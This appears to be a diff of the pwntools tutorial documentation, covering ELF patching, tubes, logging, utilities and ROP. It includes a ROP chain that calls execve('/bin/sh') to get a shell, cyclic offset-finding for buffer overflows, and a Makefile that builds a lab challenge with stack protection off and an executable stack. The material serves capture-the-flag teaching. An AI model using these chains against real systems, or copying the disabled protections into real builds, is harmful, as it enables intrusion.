e = ELF('/bin/bash')
|
||||
|
||||
print repr(e.read(e.address, 4))
|
||||
|
||||
p_license = e.symbols['bash_license']
|
||||
license = e.unpack(p_license)
|
||||
print "%#x -> %#x" % (p_license, license)
|
||||
|
||||
print e.read(license, 14)
|
||||
print e.disasm(e.symbols['main'], 12)
|
||||
```
|
||||
|
||||
This prints something like:
|
||||
|
||||
```
|
||||
'\x7fELF'
|
||||
0x4ba738 -> 0x4ba640
|
||||
License GPLv3+
|
||||
41eab0: 41 57 push r15
|
||||
41eab2: 41 56 push r14
|
||||
41eab4: 41 55 push r13
|
||||
```
|
||||
|
||||
## Patching ELF Files
|
||||
|
||||
Patching ELF files is just as simple.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
e = ELF('/bin/bash')
|
||||
|
||||
# Cause a debug break on the 'exit' command
|
||||
e.asm(e.symbols['exit_builtin'], 'int3')
|
||||
|
||||
# Disable chdir and just print it out instead
|
||||
e.pack(e.got['chdir'], e.plt['puts'])
|
||||
|
||||
# Change the license
|
||||
p_license = e.symbols['bash_license']
|
||||
license = e.unpack(p_license)
|
||||
e.write(license, 'Hello, world!\n\x00')
|
||||
|
||||
e.save('./bash-modified')
|
||||
```
|
||||
|
||||
We can then run our modified version of bash.
|
||||
|
||||
```
|
||||
$ chmod +x ./bash-modified
|
||||
$ ./bash-modified -c 'exit'
|
||||
Trace/breakpoint trap (core dumped)
|
||||
$ ./bash-modified --version | grep "Hello"
|
||||
Hello, world!
|
||||
$ ./bash-modified -c 'cd "No chdir for you!"'
|
||||
/home/user/No chdir for you!
|
||||
No chdir for you!
|
||||
./bash-modified: line 0: cd: No chdir for you!: No such file or directory
|
||||
```
|
||||
|
||||
## Searching ELF Files
|
||||
|
||||
Every once in a while, you just need to find some byte sequence. The most common example is searching for e.g. `"/bin/sh\x00"` for an `execve` call.
|
||||
The `search` method returns an iterator, allowing you to either take the first result, or keep searching if you need something special (e.g. no bad characters in the address). You can optionally pass a `writable` argument to `search`, indicating it should only return addresses in writable segments.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
e = ELF('/bin/bash')
|
||||
|
||||
for address in e.search('/bin/sh\x00'):
|
||||
print hex(address)
|
||||
```
|
||||
|
||||
The above example prints something like:
|
||||
|
||||
```
|
||||
0x420b82
|
||||
0x420c5e
|
||||
```
|
||||
|
||||
## Building ELF Files
|
||||
|
||||
ELF files can be created from scratch relatively easy. All of these functions are context-aware. The relevant functions are `from_bytes` and `from_assembly`. Each returns an `ELF` object, which can easily be saved to file.
|
||||
|
||||
```
|
||||
from pwn import *
|
||||
|
||||
ELF.from_bytes('\xcc').save('int3-1')
|
||||
ELF.from_assembly('int3').save('int3-2')
|
||||
ELF.from_assembly('nop', arch='powerpc').save('powerpc-nop')
|
||||
```
|
||||
|
||||
## Running and Debugging ELF Files
|
||||
|
||||
If you have an `ELF` object, you can run or debug it directly. The following are equivalent:
|
||||
|
||||
```py
|
||||
>>> io = elf.process()
|
||||
# vs
|
||||
>>> io = process(elf.path)
|
||||
```
|
||||
|
||||
Similarly, you can launch a debugger trivially attached to your ELF. This is super useful when testing shellcode, without the need for a C wrapper to load and debug it.
|
||||
|
||||
```py
|
||||
>>> io = elf.debug()
|
||||
# vs
|
||||
>>> io = gdb.debug(elf.path)
|
||||
```
|
|
@ -0,0 +1,41 @@
|
|||
Table of Contents
|
||||
=================
|
||||
|
||||
* [Installing Pwntools](#installing-pwntools)
|
||||
* [Verifying Installation](#verifying-installation)
|
||||
* [Foreign Architectures](#foreign-architectures)
|
||||
|
||||
# Installing Pwntools
|
||||
|
||||
This process is as straightforward as it can be. Ubuntu 14.04 and 12.04 are the only "officially supported" platforms, in that they're the only platforms we do automated testing on.
|
||||
|
||||
```sh
|
||||
apt-get update
|
||||
apt-get install python2.7 python-pip python-dev git
|
||||
pip install --upgrade git+https://github.com/Gallopsled/pwntools.git
|
||||
```
|
||||
|
||||
Everything else, you're on your own.
|
||||
|
||||
## Verifying Installation
|
||||
|
||||
Everything should be A-OK if the following command succeeds:
|
||||
|
||||
```sh
|
||||
$ python -c 'from pwn import *'
|
||||
```
|
||||
|
||||
## Foreign Architectures
|
||||
|
||||
If you want to assemble or disassemble code for foreign architectures, you need an appropriate `binutils` installation. For Ubuntu and Mac OS X users, the [installation instructions][binutils] are very straightforward. The pre-built binaries are available from Ubuntu Launchpad. These are built by Ubuntu, on their servers, using the original unmodified source package -- no need to trust maintainers!
|
||||
|
||||
For example, to install `binutils` for MIPS:
|
||||
|
||||
```sh
|
||||
$ apt-get install software-properties-common
|
||||
$ apt-add-repository ppa:pwntools/binutils
|
||||
$ apt-get update
|
||||
$ apt-get install binutils-mips-linux-gnu
|
||||
```
|
||||
|
||||
[binutils]: https://pwntools.readthedocs.org/en/latest/install/binutils.html
|
|
@ -0,0 +1,135 @@
|
|||
Table of Contents
|
||||
=================
|
||||
|
||||
* [Logging](#logging)
|
||||
* [Functions](#functions)
|
||||
* [Command Line](#command-line)
|
||||
* [Context](#context)
|
||||
* [Tubes](#tubes)
|
||||
* [Scoped](#scoped)
|
||||
|
||||
# Logging
|
||||
|
||||
Pwntools has a rich internal debugging system, available for your own debugging
|
||||
as well as figuring out what's happening behind-the-scenes in Pwntools
|
||||
|
||||
## Functions
|
||||
|
||||
The logging functionality is exposed when you import `from pwn import *`.
|
||||
This exposes these routines:
|
||||
|
||||
* `error`
|
||||
* `warn`
|
||||
* `info`
|
||||
* `debug`
|
||||
|
||||
For example:
|
||||
|
||||
```py
|
||||
>>> warn('Warning!')
|
||||
[!] Warning!
|
||||
>>> info('Info!')
|
||||
[*] Info!
|
||||
>>> debug('Debug!')
|
||||
```
|
||||
|
||||
Note that the last line is not shown by default, since the default log-level
|
||||
is "info".
|
||||
|
||||
You can use these in your exploit scripts instead of `print` which lets
|
||||
you dial in the exact amount of debugging information you see.
|
||||
|
||||
You can control which log messages are visible in a variety of ways,
|
||||
all which are explained below.
|
||||
|
||||
## Command Line
|
||||
|
||||
The easiest way to turn on the maximum amount of logging verbosity is to
|
||||
run your script with the magic argument `DEBUG`, e.g.
|
||||
|
||||
```
|
||||
$ python exploit.py DEBUG
|
||||
```
|
||||
|
||||
This is useful for seeing the exact bytes being sent / received, and things
|
||||
that are happening internal to pwntools to make your exploit work.
|
||||
|
||||
## Context
|
||||
|
||||
You can also set the logging verbosity via `context.log_level`, in the same way
|
||||
that you set e.g. the target architecture.
|
||||
This controls all logging statements in the same way as on the command-line.
|
||||
|
||||
```py
|
||||
>>> context.log_level = 'debug'
|
||||
```
|
||||
|
||||
### `log_console`
|
||||
|
||||
By default, all logs go to STDOUT. If you want to change this to a different file,
|
||||
e.g. STDERR, you can do this with the `log_console` setting.
|
||||
|
||||
```py
|
||||
>>> context.log_console = sys.stderr
|
||||
```
|
||||
|
||||
### `log_file`
|
||||
|
||||
Sometimes you want your logs to go to a specific file, e.g. `log.txt`, to look at later.
|
||||
You can add a log file by setting `context.log_file`.
|
||||
|
||||
```py
|
||||
>>> context.log_file = './log.txt'
|
||||
```
|
||||
|
||||
## Tubes
|
||||
|
||||
Each tube can have its logging verbosity controlled individually, when it is created.
|
||||
Simply pass `level='...'` to the construction of the object.
|
||||
|
||||
```py
|
||||
>>> io = process('sh', level='debug')
|
||||
[x] Starting local process '/usr/bin/sh' argv=[b'sh']
|
||||
[+] Starting local process '/usr/bin/sh' argv=[b'sh'] : pid 34475
|
||||
>>> io.sendline('echo hello')
|
||||
[DEBUG] Sent 0xb bytes:
|
||||
b'echo hello\n'
|
||||
>>> io.recvline()
|
||||
[DEBUG] Received 0x6 bytes:
|
||||
b'hello\n'
|
||||
b'hello\n'
|
||||
```
|
||||
|
||||
This works for all of the tubes (`process`, `remote`, etc), and also works for
|
||||
tube-like things (e.g. `gdb.attach` and `gdb.debug`) as well as many other
|
||||
routines.
|
||||
|
||||
For example, if you want to see *exactly* how some shellcode is assembled:
|
||||
|
||||
```py
|
||||
>>> asm('nop', log_level='debug')
|
||||
[DEBUG] cpp -C -nostdinc -undef -P -I/home/user/pwntools/pwnlib/data/includes /dev/stdin
|
||||
[DEBUG] Assembling
|
||||
.section .shellcode,"awx"
|
||||
.global _start
|
||||
.global __start
|
||||
_start:
|
||||
__start:
|
||||
.intel_syntax noprefix
|
||||
nop
|
||||
[DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/user/pwn-asm-0yy12n6i/step2 /tmp/user/pwn-asm-0yy12n6i/step1
|
||||
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/user/pwn-asm-0yy12n6i/step3 /tmp/user/pwn-asm-0yy12n6i/step4
|
||||
b'\x90'
|
||||
```
|
||||
|
||||
## Scoped
|
||||
|
||||
Sometimes you want ALL the logs to be enabled, but only for part of an exploit script.
|
||||
You can manually toggle `context.log_level`, or you can use a scoped helper.
|
||||
|
||||
```py
|
||||
io = process(...)
|
||||
with context.local(log_level='debug'):
|
||||
# Things inside the 'with' block are logged verbosely
|
||||
io.recvall()
|
||||
```
|
|
@ -0,0 +1,246 @@
|
|||
Table of Contents
|
||||
=================
|
||||
|
||||
* [Background](#background)
|
||||
* [Loading an ELF](#loading-an-elf)
|
||||
* [Fixing Addresses](#fixing-addresses)
|
||||
* [Inspecting Gadgets](#inspecting-gadgets)
|
||||
* [Viewing All Gadgets](#viewing-all-gadgets)
|
||||
* [Really viewing *ALL* Gadgets](#really-viewing-all-gadgets)
|
||||
* [Adding Raw Data](#adding-raw-data)
|
||||
* [Dumping ROP stacks](#dumping-rop-stacks)
|
||||
* [Extracting Raw Bytes](#extracting-raw-bytes)
|
||||
* [Calling Functions Magically](#calling-functions-manually)
|
||||
* [Calling Functions by Name](#calling-functions-by-name)
|
||||
* [Multiple ELFs](#multiple-elfs)
|
||||
* [Getting a shell](#getting-a-shell)
|
||||
|
||||
|
||||
# Background
|
||||
|
||||
Return-oriented programming (ROP) is a technique for bypassing NX (no-execute, also known as Data Execution Prevention (DEP)).
|
||||
|
||||
Pwntools has several features that make ROP exploitation simpler, but only works on i386 and amd64 architectures.
|
||||
|
||||
# Loading an ELF
|
||||
|
||||
To create a `ROP` object, just pass it an `ELF` file.
|
||||
|
||||
```py
|
||||
elf = ELF('/bin/sh')
|
||||
rop = ROP(elf)
|
||||
```
|
||||
|
||||
This will automatically load the binary, and extract most simple gadgets from it. For example, if you want to load the `rbx` register:
|
||||
|
||||
```
|
||||
rop.rbx
|
||||
# Gadget(0x5fd5, ['pop rbx', 'ret'], ['rbx'], 0x8)
|
||||
```
|
||||
|
||||
## Fixing Addresses
|
||||
|
||||
Here we can see the address of the gadget, the contents of its disassembly, what register it loads, and by how much the stack is adjusted when the gadget is executed.
|
||||
|
||||
Since in our example, `/bin/sh` is position-independent (i.e. uses ASLR), we can adjust the load address on the ELF object first.
|
||||
|
||||
```
|
||||
elf.address = 0xff000000
|
||||
rop = ROP(elf)
|
||||
rop.rbx
|
||||
# Gadget(0xff005fd5, ['pop rbx', 'ret'], ['rbx'], 0x8)
|
||||
```
|
||||
|
||||
# Inspecting Gadgets
|
||||
|
||||
You can ask the ROP object how to load any register you want, through magic accessors. We used `rbx` above, but we can also look for other registers.
|
||||
|
||||
```
|
||||
rop.rbx
|
||||
# Gadget(0xff005fd5, ['pop rbx', 'ret'], ['rbx'], 0x8)
|
||||
```
|
||||
|
||||
If the register cannot be loaded, the return value is `None`. In our example, there are no `pop rcx; ret` gadgets for example.
|
||||
|
||||
```
|
||||
rop.rcx
|
||||
# None
|
||||
```
|
||||
|
||||
## Viewing All Gadgets
|
||||
|
||||
Pwntools intentionally excludes most non-trivial gadgets, but you can see a list of what it has loaded by looking at the `ROP.gadgets` property, which maps the address of a gadget to the gadget itself.
|
||||
|
||||
```
|
||||
rop.gadgets
|
||||
# {4278225723: Gadget(0xff008b3b, ['add esp, 0x10', 'pop rbx', 'pop rbp', 'pop r12', 'ret'], ['rbx', 'rbp', 'r12'], 0x20),
|
||||
# 4278278088: Gadget(0xff0157c8, ['add esp, 0x130', 'pop rbp', 'ret'], ['rbp'], 0x138),
|
||||
# 4278284789: Gadget(0xff0171f5, ['add esp, 0x138', 'pop rbx', 'pop rbp', 'ret'], ['rbx', 'rbp'], 0x144),
|
||||
# 4278272966: Gadget(0xff0143c6, ['add esp, 0x18', 'ret'], [], 0x1c),
|
||||
# 4278239612: Gadget(0xff00c17c, ['add esp, 0x20', 'pop rbx', 'pop rbp', 'pop r12', 'ret'], ['rbx', 'rbp', 'r12'], 0x30),
|
||||
# 4278259611: Gadget(0xff010f9b, ['add esp, 0x28', 'pop rbp', 'pop r12', 'ret'], ['rbp', 'r12'], 0x34),
|
||||
# ...
|
||||
# 4278216828: Gadget(0xff00687c, ['pop rsp', 'pop r13', 'ret'], ['rsp', 'r13'], 0xc),
|
||||
# 4278214225: Gadget(0xff005e51, ['pop rsp', 'ret'], ['rsp'], 0x8),
|
||||
# 4278210586: Gadget(0xff00501a, ['ret'], [], 0x4)}
|
||||
```
|
||||
|
||||
## Really Viewing *ALL* Gadgets
|
||||
|
||||
Pwntools ROP filters out non-trivial gadgets, so if it doesn't have something you want, we recommend using ROPGadget to inspect the binary.
|
||||
|
||||
# Adding Raw Data
|
||||
|
||||
In order to add raw data to the ROP stack, simply call `ROP.raw()`.
|
||||
|
||||
```py
|
||||
rop.raw(0xdeadbeef)
|
||||
rop.raw(0xcafebabe)
|
||||
rop.raw('asdf')
|
||||
```
|
||||
|
||||
# Dumping ROP stacks
|
||||
|
||||
Now that we have some gadgets, let's look at what's on the ROP stack:
|
||||
|
||||
```py
|
||||
print(rop.dump())
|
||||
# 0x0000: 0xdeadbeef
|
||||
# 0x0004: 0xcafebabe
|
||||
# 0x0008: b'asdf' 'asdf'
|
||||
```
|
||||
|
||||
# Extracting the Raw Bytes
|
||||
|
||||
Now that we have a ROP stack, we want the raw bytes out of it. Use the `bytes()` method to do this.
|
||||
|
||||
```py
|
||||
print(hexdump(bytes(rop)))
|
||||
# 00000000 ef be ad de be ba fe ca 61 73 64 66 │····│····│asdf│
|
||||
# 0000000c
|
||||
```
|
||||
|
||||
# Calling Functions Magically
|
||||
|
||||
The real power of Pwntools' ROP tooling is the ability to invoke arbitrary functions, either via magic accessors or via the `ROP.call()` routine.
|
||||
|
||||
```
|
||||
elf = ELF('/bin/sh')
|
||||
rop = ROP(elf)
|
||||
rop.call(0xdeadbeef, [0, 1])
|
||||
print(rop.dump())
|
||||
# 0x0000: 0xdeadbeef 0xdeadbeef(0, 1, 2, 3)
|
||||
# 0x0004: b'baaa' <return address>
|
||||
# 0x0008: 0x0 arg0
|
||||
# 0x000c: 0x1 arg1
|
||||
```
|
||||
|
||||
Notice here that it's using a 32-bit ABI, which is not correct. We can also do ROP against 64-bit binaries, but we need to set `context.arch` accordingly. We can use `context.binary` to do this automagically.
|
||||
|
||||
```
|
||||
context.binary = elf = ELF('/bin/sh')
|
||||
rop = ROP(elf)
|
||||
rop.call(0xdeadbeef, [0, 1])
|
||||
print(rop.dump())
|
||||
# 0x0000: 0x61aa pop rdi; ret
|
||||
# 0x0008: 0x0 [arg0] rdi = 0
|
||||
# 0x0010: 0x5f73 pop rsi; ret
|
||||
# 0x0018: 0x1 [arg1] rsi = 1
|
||||
# 0x0020: 0xdeadbeef
|
||||
```
|
||||
|
||||
# Calling Functions by Name
|
||||
|
||||
If your library has a function you want to call in its GOT/PLT, or there are symbols for the binary, you can invoke function names directly.
|
||||
|
||||
```
|
||||
context.binary = elf = ELF('/bin/sh')
|
||||
rop = ROP(elf)
|
||||
rop.execve(0xdeadbeef)
|
||||
print(rop.dump())
|
||||
# 0x0000: 0x61aa pop rdi; ret
|
||||
# 0x0008: 0xdeadbeef [arg0] rdi = 3735928559
|
||||
# 0x0010: 0x5824 execve
|
||||
```
|
||||
|
||||
# Multiple ELFs
|
||||
|
||||
Generally, more than one ELF is available in the address space of your process at a time. Let's look at an example that uses `/bin/sh` as well as its `libc`. Originally, we looked at `rop.rcx` and it was `None`, since there is no `pop rcx; ret` gadget in bash. However, now we have all of the gadgets from `libc` available as well.
|
||||
|
||||
```py
|
||||
context.binary = elf = ELF('/bin/sh')
|
||||
libc = elf.libc
|
||||
|
||||
elf.address = 0xAA000000
|
||||
libc.address = 0xBB000000
|
||||
|
||||
rop.rax
|
||||
# Gadget(0xaa00eb87, ['pop rax', 'ret'], ['rax'], 0x10)
|
||||
rop.rbx
|
||||
# Gadget(0xaa005fd5, ['pop rbx', 'ret'], ['rbx'], 0x10)
|
||||
rop.rcx
|
||||
# Gadget(0xbb09f822, ['pop rcx', 'ret'], ['rcx'], 0x10)
|
||||
rop.rdx
|
||||
# Gadget(0xbb117960, ['pop rdx', 'add rsp, 0x38', 'ret'], ['rdx'], 0x48)
|
||||
```
|
||||
|
||||
Notice how the `rax` and `rbx` gadgets are in the main binary (0xAA...) while the second two are in libc (0xBB...).
|
||||
|
||||
Now let's do a more complex call!
|
||||
|
||||
```py
|
||||
rop.memcpy(0xaaaaaaaa, 0xbbbbbbbb, 0xcccccccc)
|
||||
print(rop.dump())
|
||||
# 0x0000: 0xbb11c1e1 pop rdx; pop r12; ret
|
||||
# 0x0008: 0xcccccccc [arg2] rdx = 3435973836
|
||||
# 0x0010: b'eaaafaaa' <pad r12>
|
||||
# 0x0018: 0xaa0061aa pop rdi; ret
|
||||
# 0x0020: 0xaaaaaaaa [arg0] rdi = 2863311530
|
||||
# 0x0028: 0xaa005f73 pop rsi; ret
|
||||
# 0x0030: 0xbbbbbbbb [arg1] rsi = 3149642683
|
||||
# 0x0038: 0xaa0058a4 memcpy
|
||||
```
|
||||
|
||||
Note that Pwntools was able to use the `pop rdx; pop r12; ret` gadget, and account for the extra value needed on the stack. Also note that the symbolic value of each item is listen in `rop.dump()`. For example, it shows that we are settings rdx=3435973836.
|
||||
|
||||
# Getting a shell
|
||||
|
||||
Sometimes, getting a shell can be pretty easy! Let's call `execve` directly, and find an instance of `"/bin/sh\x00"` to pass as the first argument from somewhere within memory.
|
||||
|
||||
```py
|
||||
context.binary = elf = ELF('/bin/sh')
|
||||
libc = elf.libc
|
||||
|
||||
elf.address = 0xAA000000
|
||||
libc.address = 0xBB000000
|
||||
|
||||
rop = ROP([elf, libc])
|
||||
|
||||
binsh = next(libc.search(b"/bin/sh\x00"))
|
||||
rop.execve(binsh, 0, 0)
|
||||
```
|
||||
|
||||
Show our ROP stack
|
||||
|
||||
```py
|
||||
print(rop.dump())
|
||||
# 0x0000: 0xbb11c1e1 pop rdx; pop r12; ret
|
||||
# 0x0008: 0x0 [arg2] rdx = 0
|
||||
# 0x0010: b'eaaafaaa' <pad r12>
|
||||
# 0x0018: 0xaa0061aa pop rdi; ret
|
||||
# 0x0020: 0xbb1b75aa [arg0] rdi = 3139138986
|
||||
# 0x0028: 0xaa005f73 pop rsi; ret
|
||||
# 0x0030: 0x0 [arg1] rsi = 0
|
||||
# 0x0038: 0xaa005824 execve
|
||||
```
|
||||
|
||||
Extract the raw bytes for the ROP
|
||||
|
||||
```py
|
||||
print(hexdump(bytes(rop)))
|
||||
# 00000000 e1 c1 11 bb 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
|
||||
# 00000010 65 61 61 61 66 61 61 61 aa 61 00 aa 00 00 00 00 │eaaa│faaa│·a··│····│
|
||||
# 00000020 aa 75 1b bb 00 00 00 00 73 5f 00 aa 00 00 00 00 │·u··│····│s_··│····│
|
||||
# 00000030 00 00 00 00 00 00 00 00 24 58 00 aa 00 00 00 00 │····│····│$X··│····│
|
||||
# 00000040
|
||||
```
|
|
@ -0,0 +1,167 @@
|
|||
Table of Contents
|
||||
=================
|
||||
|
||||
* [Tubes](#tubes)
|
||||
* [Basic IO](#basic-io)
|
||||
* [Receiving data](#receiving-data)
|
||||
* [Sending data](#sending-data)
|
||||
* [Manipulating integers](#manipulating-integers)
|
||||
* [Processes and Basic Features](#processes-and-basic-features)
|
||||
* [Interactive Sessions](#interactive-sessions)
|
||||
* [Networking](#networking)
|
||||
* [Secure Shell](#secure-shell)
|
||||
* [Serial Ports](#serial-ports)
|
||||
|
||||
# Tubes
|
||||
|
||||
Tubes are effectively I/O wrappers for most types of I/O you'll need to perform:
|
||||
|
||||
- Local processes
|
||||
- Remote TCP or UDP connections
|
||||
- Processes running on a remote server over SSH
|
||||
- Serial port I/O
|
||||
|
||||
This introduction provides a few examples of the functionality provided, but more complex combinations are possible. See [the full documentation][docs] for more information on how to perform regular expression matching, and connecting tubes together.
|
||||
|
||||
## Basic IO
|
||||
|
||||
The basic functions that you'll probably want out of your IO are:
|
||||
|
||||
### Receiving data
|
||||
|
||||
- `recv(n)` - Receive any number of available bytes
|
||||
- `recvline()` - Receive data until a newline is encountered
|
||||
- `recvuntil(delim)` - Receive data until a delimiter is found
|
||||
- `recvregex(pattern)` - Receive data until a regex pattern is satisfied
|
||||
- `recvrepeat(timeout)` - Keep receiving data until a timeout occurs
|
||||
- `clean()` - Discard all buffered data
|
||||
|
||||
### Sending data
|
||||
|
||||
- `send(data)` - Sends data
|
||||
- `sendline(line)` - Sends data plus a newline
|
||||
|
||||
### Manipulating integers
|
||||
|
||||
- `pack(int)` - Sends a word-size packed integer
|
||||
- `unpack()` - Receives and unpacks a word-size integer
|
||||
|
||||
## Processes and Basic Features
|
||||
|
||||
In order to create a tube to talk to a process, you just create a `process` object and give it the name of the target binary.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
io = process('sh')
|
||||
io.sendline('echo Hello, world')
|
||||
io.recvline()
|
||||
# 'Hello, world\n'
|
||||
```
|
||||
|
||||
If you need to provide command-line arguments, or set the environment, additional options are available. See [the full documentation][process] for more information;
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
io = process(['sh', '-c', 'echo $MYENV'], env={'MYENV': 'MYVAL'})
|
||||
io.recvline()
|
||||
# 'MYVAL\n'
|
||||
```
|
||||
|
||||
Reading binary data isn't a problem either. You can receive up-to a number of bytes with `recv`, or block for an exact count with `recvn`.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
io = process(['sh', '-c', 'echo A; sleep 1; echo B; sleep 1; echo C; sleep 1; echo DDD'])
|
||||
|
||||
io.recv()
|
||||
# 'A\n'
|
||||
|
||||
io.recvn(4)
|
||||
# 'B\nC\n'
|
||||
|
||||
hex(io.unpack())
|
||||
# 0xa444444
|
||||
```
|
||||
|
||||
## Interactive Sessions
|
||||
|
||||
Did you land a shell on the game server? Hurray! It's pretty easy to use it interactively.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
# Let's pretend we're uber 1337 and landed a shell.
|
||||
io = process('sh')
|
||||
|
||||
# <exploit goes here>
|
||||
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
|
||||
## Networking
|
||||
|
||||
Creating a network connection is also easy, and has the exact same interface. A `remote` object connects to somewhere else, while a `listen` object waits for a connection.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
io = remote('google.com', 80)
|
||||
io.send('GET /\r\n\r\n')
|
||||
io.recvline()
|
||||
# 'HTTP/1.0 200 OK\r\n'
|
||||
```
|
||||
|
||||
If you need to specify protocol information, it's also pretty straightforward.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
dns = remote('8.8.8.8', 53, typ='udp')
|
||||
tcp6 = remote('google.com', 80, fam='ipv6')
|
||||
```
|
||||
|
||||
Listening for connections isn't much more complex. Note that this listens for exactly one connection, then stops listening.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
client = listen(8080).wait_for_connection()
|
||||
```
|
||||
|
||||
## Secure Shell
|
||||
|
||||
SSH connectivity is similarly simple. Compare the code below with that in "Hello Process" above.
|
||||
|
||||
You can also do more complex things with SSH, such as port forwarding and file upload / download. See the [SSH tutorial][ssh] for more information.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
session = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')
|
||||
|
||||
io = session.process('sh', env={"PS1":""})
|
||||
io.sendline('echo Hello, world!')
|
||||
io.recvline()
|
||||
# 'Hello, world!\n'
|
||||
```
|
||||
|
||||
|
||||
## Serial Ports
|
||||
|
||||
In the event you need to get some local hacking done, there's also a serial tube. As always, there is more information in the [full online documentation][serial].
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
io = serialtube('/dev/ttyUSB0', baudrate=115200)
|
||||
```
|
||||
|
||||
[docs]: https://pwntools.readthedocs.org/en/latest/tubes.html
|
||||
[process]: https://pwntools.readthedocs.org/en/latest/tubes/processes.html
|
||||
[ssh]: ssh.md
|
||||
[remote]: https://pwntools.readthedocs.org/en/latest/tubes/sock.html
|
||||
[serial]: https://pwntools.readthedocs.org/en/latest/tubes/serial.html
|
|
@ -0,0 +1,150 @@
|
|||
Table of Contents
|
||||
=================
|
||||
|
||||
* [Utility Functions](#utility-functions)
|
||||
* [Packing and Unpacking Integers](#packing-and-unpacking-integers)
|
||||
* [File I/O](#file-io)
|
||||
* [Hashing and Encoding](#hashing-and-encoding)
|
||||
* [Base64](#base64)
|
||||
* [Hashes](#hashes)
|
||||
* [URL Encoding](#url-encoding)
|
||||
* [Hex Encoding](#hex-encoding)
|
||||
* [Bit Manipulation and Hex Dumping](#bit-manipulation-and-hex-dumping)
|
||||
* [Hex Dumping](#hex-dumping)
|
||||
* [Patten Generation](#patten-generation)
|
||||
|
||||
# Utility Functions
|
||||
|
||||
About half of Pwntools is utility functions so that you no longer need to copy paste things like this around:
|
||||
|
||||
```py
|
||||
import struct
|
||||
|
||||
def p(x):
|
||||
return struct.pack('I', x)
|
||||
def u(x):
|
||||
return struct.unpack('I', x)[0]
|
||||
|
||||
1234 == u(p(1234))
|
||||
```
|
||||
|
||||
Instead, you just get nice little wrappers. As an added bonus, everything is a bit more legible and easier to understand when reading someone else's exploit code.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
1234 == unpack(pack(1234))
|
||||
```
|
||||
|
||||
## Packing and Unpacking Integers
|
||||
|
||||
This is probably the most common thing you'll do, so it's at the top. The main `pack` and `unpack` functions are aware of the global settings in [`context`](context.md) such as `endian`, `bits`, and `sign`.
|
||||
|
||||
You can also specify them explitily in the function call.
|
||||
|
||||
```py
|
||||
pack(1)
|
||||
# '\x01\x00\x00\x00'
|
||||
|
||||
pack(-1)
|
||||
# '\xff\xff\xff\xff'
|
||||
|
||||
pack(2**32 - 1)
|
||||
# '\xff\xff\xff\xff'
|
||||
|
||||
pack(1, endian='big')
|
||||
# '\x00\x00\x00\x01'
|
||||
|
||||
p16(1)
|
||||
# '\x01\x00'
|
||||
|
||||
hex(unpack('AAAA'))
|
||||
# '0x41414141'
|
||||
|
||||
hex(u16('AA'))
|
||||
# '0x4141'
|
||||
```
|
||||
|
||||
## File I/O
|
||||
|
||||
A single function call and it does what you want it to.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
write('filename', 'data')
|
||||
read('filename')
|
||||
# 'data'
|
||||
read('filename', 1)
|
||||
# 'd'
|
||||
```
|
||||
|
||||
## Hashing and Encoding
|
||||
|
||||
Quick access to lots of functions to transform your data into whatever format you need it in.
|
||||
|
||||
#### Base64
|
||||
|
||||
```py
|
||||
'hello' == b64d(b64e('hello'))
|
||||
```
|
||||
|
||||
#### Hashes
|
||||
|
||||
```py
|
||||
md5sumhex('hello') == '5d41402abc4b2a76b9719d911017c592'
|
||||
write('file', 'hello')
|
||||
md5filehex('file') == '5d41402abc4b2a76b9719d911017c592'
|
||||
sha1sumhex('hello') == 'aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d'
|
||||
```
|
||||
|
||||
#### URL Encoding
|
||||
|
||||
```py
|
||||
urlencode("Hello, World!") == '%48%65%6c%6c%6f%2c%20%57%6f%72%6c%64%21'
|
||||
```
|
||||
|
||||
#### Hex Encoding
|
||||
|
||||
```py
|
||||
enhex('hello')
|
||||
# '68656c6c6f'
|
||||
unhex('776f726c64')
|
||||
# 'world'
|
||||
```
|
||||
|
||||
#### Bit Manipulation and Hex Dumping
|
||||
|
||||
```py
|
||||
bits(0b1000001) == bits('A')
|
||||
# [0, 0, 0, 1, 0, 1, 0, 1]
|
||||
unbits([0,1,0,1,0,1,0,1])
|
||||
# 'U'
|
||||
```
|
||||
|
||||
#### Hex Dumping
|
||||
|
||||
```py
|
||||
print hexdump(read('/dev/urandom', 32))
|
||||
# 00000000 65 4c b6 62 da 4f 1d 1b d8 44 a6 59 a3 e8 69 2c │eL·b│·O··│·D·Y│··i,│
|
||||
# 00000010 09 d8 1c f2 9b 4a 9e 94 14 2b 55 7c 4e a8 52 a5 │····│·J··│·+U|│N·R·│
|
||||
# 00000020
|
||||
```
|
||||
|
||||
## Pattern Generation
|
||||
|
||||
Pattern generation is a very handy way to find offsets without needing to do math.
|
||||
|
||||
Let's say we have a straight buffer overflow, and we generate a pattern and provide it to the target application.
|
||||
|
||||
```py
|
||||
io = process(...)
|
||||
io.send(cyclic(512))
|
||||
```
|
||||
|
||||
In the core dump, we might see that the crash occurs at 0x61616178. We can avoid needing to do any analysis of the crash frame by just punching that number back in and getting an offset.
|
||||
|
||||
```py
|
||||
cyclic_find(0x61616178)
|
||||
# 92
|
||||
```
|
|
@ -0,0 +1,3 @@
|
|||
|
||||
challenge: challenge.c
|
||||
gcc -g -m32 -fno-stack-protector -z execstack $^ -o $@
|
|
@ -0,0 +1,27 @@
|
|||
# Basic Buffer Overflow
|
||||
|
||||
This directory is the most basic, classic, stack-based buffer overflow.
|
||||
|
||||
The stack is executable, and the binary is not randomized.
|
||||
|
||||
A few things are demonstrated in this example:
|
||||
|
||||
- `process` tube
|
||||
